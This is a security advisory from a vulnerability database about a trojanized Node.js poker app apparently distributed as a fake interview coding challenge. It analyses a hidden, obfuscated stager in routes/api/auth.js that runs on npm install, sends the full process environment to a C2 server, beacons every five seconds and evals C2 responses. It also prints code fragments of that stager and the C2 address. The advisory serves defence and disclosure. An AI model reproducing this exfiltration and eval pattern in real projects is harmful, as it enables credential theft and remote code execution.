VDB

GCVE-110-OSM-2026-13235

GCVE-110-OSM-2026-13235
Advisory PublishedCVSS 9.6/10
Vulnetix · Advisory published October 5, 2026
Trojanized Node.js/React poker app distributed as a fake-interview "coding challenge" lure (DPRK "Contagious Interview" / DeceptiveDevelopment pattern). An obfuscated JavaScript stager is appended to routes/api/auth.js on the same physical line as `module.exports = router;`, hidden behind ~783 chars of whitespace padding (full line 3,343 chars). Uses hex string-array obfuscation with a runtime-rotated array. Two auto-execution paths, no HTTP request or manual run required: (1) a package.json "prepare" script (`start /b node server || nohup node server &`) executes on `npm install`; (2) the file is require()'d at server boot via routes/index.js, and a bare top-level block runs on load. Behavior: collects hostname, OS (platform/type/release) and MAC address, then exfiltrates the entire process.env (API keys, DB creds, tokens) to the C2 as a GET query string. Beacons every 5 seconds. The C2 JSON response is parsed, and when status === "error" the message field is passed to eval(), yielding arbitrary RCE / a second-stage loader. C2: http://51.77.188.54:1224/api/checkStatus (port 1224). Hardcoded beacon tag sent as tid=bm93IGl0IHRpbWUgdG8gZ2V0IGV2ZXJ5dGhpbmc= (base64 of "now it time to get everything"). Trigger file: routes/api/auth.js. Install trigger: package.json "prepare" script. The payload is a self-executing JavaScript stager appended to the end of routes/api/auth.js, after the legitimate `module.exports = router;`. It uses hex-named string-array obfuscation (_0x-style) with a runtime array-rotation routine; C2 URL and strings are stored base64/array-encoded and resolved at runtime. On load it defines getSystemInfo(), which gathers os.hostname(), os.platform()/type()/release(), and the MAC of the first non-internal IPv4 interface via os.networkInterfaces(). A bare top-level try{} block then calls sendRequest() immediately and arms setInterval(sendRequest, 5000) for a 5-second beacon. sendRequest() builds a URLSearchParams query containing: sysInfo (JSON.stringify of the host info), processInfo (JSON.stringify(process.env); full environment, i.e. any API keys, DB credentials and tokens), a hardcoded tid tag, and an incrementing sysId bot identifier. It issues fetch(decodedC2Url + '?' + params) to the C2 via HTTP GET. The C2 URL is Buffer.from(<base64>, 'base64').toString('utf8') => http://51.77.188.54:1224/api/checkStatus. Key code artifacts: 'processInfo': JSON.stringify(process.env) // full env exfil if ('error' === status) { try { eval(message); } catch {} } // RCE channel setInterval(() => sendRequest(s), 0x1388) // 5000ms beacon tid = bm93IGl0IHRpbWUgdG8gZ2V0IGV2ZXJ5dGhpbmc= // base64 "now it time to get everything"

Weaknesses (CWE)

CWE-506Embedded Malicious Code

Risk Scores

CVSS 3.1
9.6/10
Critical · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Affected Products

VendorProductVersionsPlatforms
unknownall (affected)—

Browse GCVE Records

3,142 records in the GCVE database · Updated October 5, 2026

No matching records found.

Explore Further

Investigate this vulnerability in the interactive console or download the raw GCVE record.

$ Console Community · 100/wk Open console ›